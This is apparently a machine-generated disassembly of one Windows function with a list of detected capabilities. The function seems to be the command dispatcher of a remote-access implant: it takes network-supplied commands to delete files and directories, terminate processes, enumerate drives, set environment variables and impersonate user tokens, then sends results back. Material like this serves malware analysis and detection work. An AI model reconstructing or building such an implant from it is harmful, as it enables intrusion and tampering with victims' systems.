Function at 0x1400074b0
Capabilities:
Create directory
Delete directory
Delete file
Get common file path
Get disk information
Get file attributes
Query environment variable
Set current directory
Terminate process

Disassembly:
mov rax, rsp
push rbp
push rsi
push r14
lea rbp, [rax - 0x778]
sub rsp, 0x860
add r8d, 0xfffffffd
mov rsi, rdx
mov r14, rcx
cmp r8d, 0x61
ja case.default.0x140007506
mov qword [rax + 8], rbx
lea rcx, [0x140000000]
mov qword [rax + 0x10], rdi
mov qword [rax - 0x20], r12
mov qword [rax - 0x28], r15
movsxd rax, r8d
movzx eax, byte [rcx + rax + 0x8010]
mov r8d, dword [rcx + rax*4 + 0x7f88]
add r8, rcx
jmp r8
xor edi, edi
cmp dword [0x140036d14], 1
mov dword [0x140036d28], edi
jne 0x140007537
mov rax, qword [0x140036d20]
cmp word [rax + 0x1c0], 2
jne 0x140007537
lea r15d, [rdi + 1]
cmp dword [rax + 0x1c8], edi
jne 0x14000753a
mov r15d, edi
mov r8d, 0x1a
mov r9d, r15d
mov rdx, rdi
mov rcx, rdi
call fcn.14000a200
jmp case.0x140007506.6
cmp dword [0x140036d28], 0
je case.0x140007506.6
xor edi, edi
cmp esi, 4
jae 0x140007578
mov dword [0x140036d28], edi
mov dword [0x140036d10], edi
jmp case.0x140007506.6
mov ecx, dword [r14]
call qword [sym.imp.WS2_32.dll_ntohl]
lea ecx, [rsi - 4]
mov dword [0x140036d28], eax
cmp ecx, 4
jb 0x1400075ac
mov ecx, dword [r14 + 4]
call qword [sym.imp.WS2_32.dll_ntohl]
mov dword [0x140036d10], eax
test eax, eax
je 0x1400075ac
cmp eax, 0x63
jle case.0x140007506.6
mov dword [0x140036d10], edi
jmp case.0x140007506.6
cmp rsi, 0x3ff
ja case.0x140007506.6
mov r8, rsi
lea rcx, [rsp + 0x50]
mov rdx, r14
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncpy]
lea rcx, [rsp + 0x50]
mov byte [rsp + rsi + 0x50], 0
call qword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
jmp case.0x140007506.6
lea r8, [0x140029184]
mov rcx, r14
call fcn.140006c70
jmp case.0x140007506.6
mov rcx, r14
call fcn.140006d70
jmp case.0x140007506.6
mov ecx, dword [r14]
mov rbx, qword [0x140034ae8]
call qword [sym.imp.WS2_32.dll_ntohl]
mov esi, eax
test rbx, rbx
je case.0x140007506.6
xor edi, edi
cmp dword [rbx], esi
jne 0x140007639
mov rcx, qword [rbx + 8]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov dword [rbx + 4], edi
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x140007628
jmp case.0x140007506.6
mov rcx, r14
call fcn.14000b930
jmp case.0x140007506.6
cmp esi, 4
jae 0x14000765d
xor edi, edi
jmp 0x140007668
mov ecx, dword [r14]
call qword [sym.imp.WS2_32.dll_ntohl]
mov edi, eax
xor edx, edx
mov r8d, edi
lea ecx, [rdx + 1]
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
je 0x14000768d
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
test eax, eax
jne 0x1400076a4
call qword [sym.imp.KERNEL32.dll_GetLastError]
xor r9d, r9d
mov edx, edi
mov r8d, eax
lea ecx, [r9 + 0x23]
call fcn.14000a500
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp case.0x140007506.6
xor edx, edx
lea rcx, [rsp + 0x50]
mov r8d, 0x800
call fcn.140021acb
lea rdx, [rsp + 0x50]
mov ecx, 0x800
call qword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
test eax, eax
je case.0x140007506.6
cmp dword [0x140036d14], 1
jne 0x140007734
mov rcx, qword [0x140036d20]
cmp word [rcx + 0x1c0], 2
jne 0x140007734
movsxd rdx, dword [rcx + 0x1c8]
test edx, edx
je 0x140007734
movsxd rcx, eax
mov r8d, reloc.WS2_32.dll_send
cmp rcx, rdx
ja 0x140007725
mov rdx, rcx
lea r9d, [r8 - 0x12]
lea rcx, [rsp + 0x50]
call fcn.14000a200
jmp case.0x140007506.6
lea rdx, [rsp + 0x50]
call fcn.14000a2f0
jmp case.0x140007506.6
xor r9d, r9d
movsxd rdx, eax
lea rcx, [rsp + 0x50]
lea r8d, [r9 + 0x13]
call fcn.14000a200
jmp case.0x140007506.6
mov rbx, qword [0x140032a20]
mov r12d, 0x8000
mov ecx, r12d
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
xor edi, edi
mov dword [rsp + 0x44], r12d
mov rcx, rax
mov dword [rsp + 0x40], edi
mov r8d, r12d
mov qword [rsp + 0x30], rax
xor edx, edx
mov qword [rsp + 0x38], rax
mov rsi, rax
call fcn.140021acb
test rbx, rbx
je 0x1400077c8
nop dword [rax]
mov r9d, dword [rbx + 0x3c]
lea rax, [rbx + 0x46]
mov r8d, dword [rbx]
lea rdx, str._d_t_d_t_s_n
lea rcx, [rsp + 0x30]
mov qword [rsp + 0x20], rax
call fcn.14000cf50
mov rbx, qword [rbx + 0x2c]
test rbx, rbx
jne 0x140007790
mov r12d, dword [rsp + 0x44]
mov edi, dword [rsp + 0x40]
mov rsi, qword [rsp + 0x30]
cmp dword [0x140036d14], 1
jne 0x1400077f8
mov rax, qword [0x140036d20]
cmp word [rax + 0x1c0], 2
jne 0x1400077f8
movsxd rcx, dword [rax + 0x1c8]
test ecx, ecx
je 0x1400077f8
mov r8d, shutdown
jmp 0x140007de6
xor r9d, r9d
lea r8d, [r9 + 0x14]
jmp 0x140007e08
mov rbx, qword [0x140032a20]
cmp esi, 2
jae 0x140007814
xor edi, edi
jmp 0x140007821
movzx ecx, word [r14]
call qword [sym.imp.WS2_32.dll_ntohs]
movzx edi, ax
movsx eax, di
test rbx, rbx
je 0x140007841
mov r15d, 1
nop
cmp dword [rbx], eax
jne 0x140007838
mov dword [rbx + 0x38], r15d
mov rbx, qword [rbx + 0x2c]
test rbx, rbx
jne 0x140007830
call fcn.140004e70
jmp case.0x140007506.6
cmp esi, 4
jae 0x140007854
xor edi, edi
jmp 0x14000785f
mov ecx, dword [r14]
call qword [sym.imp.WS2_32.dll_ntohl]
mov edi, eax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov r8d, 1
mov edx, edi
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObjectEx]
jmp case.0x140007506.6
mov rcx, r14
call fcn.140001c10
jmp case.0x140007506.6
mov ecx, 0x4000
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
lea ecx, [rsi + 1]
mov rdi, rax
cmp ecx, 0x4000
jge 0x1400078b6
movsxd rbx, esi
mov rdx, r14
mov r8, rbx
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
mov byte [rbx + rdi], 0
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll__mkdir]
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
jmp case.0x140007506.6
cmp esi, 4
jae 0x1400078d6
xor edi, edi
jmp 0x1400078e1
mov ecx, dword [r14]
call qword [sym.imp.WS2_32.dll_ntohl]
mov edi, eax
mov ecx, pe_nt_image_headers64
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
xorps xmm0, xmm0
mov dword [rsp + 0x44], pe_nt_image_headers64
mov ecx, edi
mov qword [rsp + 0x30], rax
mov rbx, rax
movups xmmword [rax], xmm0
movups xmmword [rax + 0x10], xmm0
movups xmmword [rax + 0x20], xmm0
movups xmmword [rax + 0x30], xmm0
movups xmmword [rax + 0x40], xmm0
movups xmmword [rax + 0x50], xmm0
movups xmmword [rax + 0x60], xmm0
movups xmmword [rax + 0x70], xmm0
call qword [sym.imp.WS2_32.dll_htonl]
mov dword [rbx], eax
lea rax, [rbx + 4]
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x40], 4
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov r8d, eax
lea rdx, [0x1400290ec]
lea rcx, [rsp + 0x30]
call fcn.14000cf50
cmp dword [0x140036d14], 1
jne 0x1400079a4
mov rax, qword [0x140036d20]
cmp word [rax + 0x1c0], 2
jne 0x1400079a4
movsxd rcx, dword [rax + 0x1c8]
test ecx, ecx
je 0x1400079a4
movsxd r9, dword [rsp + 0x40]
mov r8d, reloc.WS2_32.dll_shutdown
mov rbx, qword [rsp + 0x30]
mov rdx, r9
cmp r9, rcx
jbe 0x140007c07
mov rdx, rbx
mov ecx, r9d
call fcn.14000a2f0
jmp 0x140007c2c
movsxd rdx, dword [rsp + 0x40]
xor r9d, r9d
mov rbx, qword [rsp + 0x30]
lea r8d, [r9 + 0x16]
jmp 0x140007c24
mov ecx, 0x4000
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
lea ecx, [rsi + 1]
mov rdi, rax
cmp ecx, 0x4000
jge 0x1400079e8
movsxd rbx, esi
mov rdx, r14
mov r8, rbx
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
mov byte [rbx + rdi], 0
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov rcx, rdi
test al, 0x10
je 0x140007a20
lea r8, [0x140002130]
lea rdx, [rsp + 0x50]
call fcn.1400021c0
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll__rmdir]
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
jmp case.0x140007506.6
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
jmp case.0x140007506.6
lea r8, [0x140029188]
mov rcx, r14
call fcn.140006c70
jmp case.0x140007506.6
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_environment_l1_1_0.dll__putenv]
jmp case.0x140007506.6
mov rcx, r14
call fcn.140002330
jmp case.0x140007506.6
mov rcx, r14
call fcn.1400024e0
jmp case.0x140007506.6
cmp esi, 4
jae 0x140007a82
xor edi, edi
mov dword [0x140036cd0], edi
jmp case.0x140007506.6
mov ecx, dword [r14]
call qword [sym.imp.WS2_32.dll_ntohl]
mov dword [0x140036cd0], eax
test eax, eax
je case.0x140007506.6
lea rdx, [rbp + 0x790]
mov ecx, eax
call qword [sym.imp.KERNEL32.dll_ProcessIdToSessionId]
test eax, eax
je case.0x140007506.6
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov ecx, eax
lea rdx, [rbp + 0x798]
call qword [sym.imp.KERNEL32.dll_ProcessIdToSessionId]
test eax, eax
je case.0x140007506.6
mov eax, dword [rbp + 0x790]
xor edi, edi
cmp dword [rbp + 0x798], eax
sete dil
test edi, edi
jne case.0x140007506.6
mov edx, dword [0x140036cd0]
lea ecx, [rdi + 0xf]
xor r9d, r9d
xor r8d, r8d
call fcn.14000a500
jmp case.0x140007506.6
mov r12d, 0x8000
mov ecx, r12d
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
xor edi, edi
mov dword [rsp + 0x44], r12d
mov rcx, rax
mov dword [rsp + 0x40], edi
mov r8d, r12d
mov qword [rsp + 0x30], rax
xor edx, edx
mov qword [rsp + 0x38], rax
mov rbx, rax
call fcn.140021acb
cmp qword [0x140033958], rdi
je 0x140007b76
call qword [sym.imp.ADVAPI32.dll_RevertToSelf]
mov r8, qword [0x140033958]
lea r9, [rsp + 0x30]
mov edx, esi
mov rcx, r14
call fcn.14000bd50
mov rcx, qword [0x140033958]
test rcx, rcx
je 0x140007bb8
call qword [sym.imp.ADVAPI32.dll_ImpersonateLoggedOnUser]
mov edi, dword [rsp + 0x40]
mov rbx, qword [rsp + 0x30]
jmp 0x140007bd3
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rbp + 0x798]
mov edx, 0x28
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x140007bc3
mov r8, qword [rbp + 0x798]
lea r9, [rsp + 0x30]
mov edx, esi
mov rcx, r14
call fcn.14000bd50
mov rcx, qword [rbp + 0x798]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, dword [rsp + 0x40]
mov rbx, qword [rsp + 0x30]
jmp 0x140007bd3
xor edx, edx
xor r9d, r9d
xor r8d, r8d
lea ecx, [rdx + 0x3b]
call fcn.14000a500
test edi, edi
je 0x140007c2c
cmp dword [0x140036d14], 1
jne 0x140007c1b
mov rax, qword [0x140036d20]
cmp word [rax + 0x1c0], 2
jne 0x140007c1b
movsxd rcx, dword [rax + 0x1c8]
test ecx, ecx
je 0x140007c1b
movsxd rdx, edi
xor r8d, r8d
cmp rdx, rcx
ja 0x140007c0f
mov r9d, 1
jmp 0x140007c24
mov rdx, rbx
mov ecx, edi
call fcn.14000a2f0
jmp 0x140007c2c
xor r9d, r9d
movsxd rdx, edi
xor r8d, r8d
mov rcx, rbx
call fcn.14000a200
movsxd r8, dword [rsp + 0x44]
xor edx, edx
mov rcx, rbx
call fcn.140021acb
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
jmp case.0x140007506.6
mov rcx, r14
call fcn.140004880
jmp case.0x140007506.6
mov rcx, r14
call fcn.140004b70
jmp case.0x140007506.6
mov rbx, qword [0x140036cf8]
mov ecx, 0x2000
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
movsxd rcx, esi
xor r8d, r8d
xor edx, edx
mov r15, rax
mov byte [rcx + r14], 0
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
mov edi, eax
test eax, eax
je 0x140007cbe
lea ecx, [rax + 1]
cmp ecx, 0x2000
jae 0x140007cbe
xor edx, edx
mov r8d, 0x2000
mov rcx, r15
call fcn.140021acb
mov r8d, edi
mov rdx, r15
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
test rbx, rbx
je 0x140007d29
xor edi, edi
cmp dword [rbx], 1
jne 0x140007d1d
lea rcx, [rbx + 4]
mov r9, r15
mov rax, rcx
sub r9, rcx
nop word [rax + rax]
movzx r8d, byte [rax]
movzx edx, byte [rax + r9]
sub r8d, edx
jne 0x140007cf5
inc rax
test edx, edx
jne 0x140007ce0
test r8d, r8d
jne 0x140007d1d
xor edx, edx
mov dword [rbx], edi
mov r8d, 0x2000
call fcn.140021acb
lea rcx, [rbx + 0x2004]
xor edx, edx
mov r8d, 0x2000
call fcn.140021acb
mov rbx, qword [rbx + 0x4008]
test rbx, rbx
jne 0x140007cc5
xor edx, edx
mov r8d, 0x2000
mov rcx, r15
call fcn.140021acb
mov rcx, r15
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
jmp case.0x140007506.6
mov r12d, 0x8000
mov ecx, r12d
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
xor edi, edi
mov dword [rsp + 0x44], r12d
mov rcx, rax
mov dword [rsp + 0x40], edi
mov r8d, r12d
mov qword [rsp + 0x30], rax
xor edx, edx
mov qword [rsp + 0x38], rax
mov rsi, rax
call fcn.140021acb
mov rbx, qword [0x140036cf8]
test rbx, rbx
je 0x140007dbe
cmp dword [rbx], 1
jne 0x140007da4
lea r8, [rbx + 0x2004]
lea rdx, [0x1400290e8]
lea rcx, [rsp + 0x30]
call fcn.14000cf50
mov rbx, qword [rbx + 0x4008]
test rbx, rbx
jne 0x140007d87
mov r12d, dword [rsp + 0x44]
mov edi, dword [rsp + 0x40]
mov rsi, qword [rsp + 0x30]
cmp dword [0x140036d14], 1
jne 0x140007e02
mov rax, qword [0x140036d20]
cmp word [rax + 0x1c0], 2
jne 0x140007e02
movsxd rcx, dword [rax + 0x1c8]
test ecx, ecx
je 0x140007e02
xor r8d, r8d
movsxd rdx, edi
cmp rdx, rcx
ja 0x140007df6
mov r9d, 1
jmp 0x140007e0b
mov rdx, rsi
mov ecx, edi
call fcn.14000a2f0
jmp 0x140007e13
xor r9d, r9d
xor r8d, r8d
movsxd rdx, edi
mov rcx, rsi
call fcn.14000a200
movsxd r8, r12d
xor edx, edx
mov rcx, rsi
call fcn.140021acb
mov rcx, rsi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
jmp case.0x140007506.6
mov r8d, 1
mov rcx, r14
call fcn.1400072c0
jmp case.0x140007506.6
xor r8d, r8d
mov rcx, r14
call fcn.1400072c0
jmp case.0x140007506.6
mov r9d, 1
mov r8, rsi
mov rdx, r14
xor ecx, ecx
call fcn.1400044c0
jmp case.0x140007506.6
xor r9d, r9d
mov r8, rsi
mov rdx, r14
xor ecx, ecx
call fcn.1400044c0
jmp case.0x140007506.6
movzx ecx, word [r14]
call qword [sym.imp.WS2_32.dll_ntohs]
lea ecx, [rsi - 2]
mov r15d, 1
movsxd r8, ecx
lea rdx, [r14 + 2]
mov ecx, r15d
xor r9d, r9d
movzx ebx, ax
call fcn.1400044c0
movzx ecx, bx
call qword [sym.imp.WS2_32.dll_htons]
cmp dword [0x140036d14], r15d
mov word [rbp + 0x790], ax
jne 0x140007f0b
mov rax, qword [0x140036d20]
cmp word [rax + 0x1c0], 2
jne 0x140007f0b
mov ecx, dword [rax + 0x1c8]
test ecx, ecx
je 0x140007f0b
lea r8d, [r15 + 6]
cmp ecx, 2
jb 0x140007ef8
mov r9d, r15d
lea edx, [r15 + 1]
lea rcx, [rbp + 0x790]
call fcn.14000a200
jmp case.0x140007506.6
lea rdx, [rbp + 0x790]
mov ecx, 2
call fcn.14000a2f0
jmp case.0x140007506.6
xor r9d, r9d
lea rcx, [rbp + 0x790]
lea edx, [r9 + 2]
lea r8d, [r9 + 7]
call fcn.14000a200
jmp case.0x140007506.6
xor edi, edi
cmp esi, 4
jae 0x140007f3b
mov eax, edi
test eax, eax
setne dil
mov dword [0x140036cd4], edi
jmp case.0x140007506.6
mov ecx, dword [r14]
call qword [sym.imp.WS2_32.dll_ntohl]
test eax, eax
setne dil
mov dword [0x140036cd4], edi
jmp case.0x140007506.6
mov rcx, r14
call fcn.1400015f0
mov r12, qword [rsp + 0x858]
mov rdi, qword [rsp + 0x888]
mov rbx, qword [rsp + 0x880]
mov r15, qword [rsp + 0x850]
add rsp, 0x860
pop r14
pop rsi
pop rbp
ret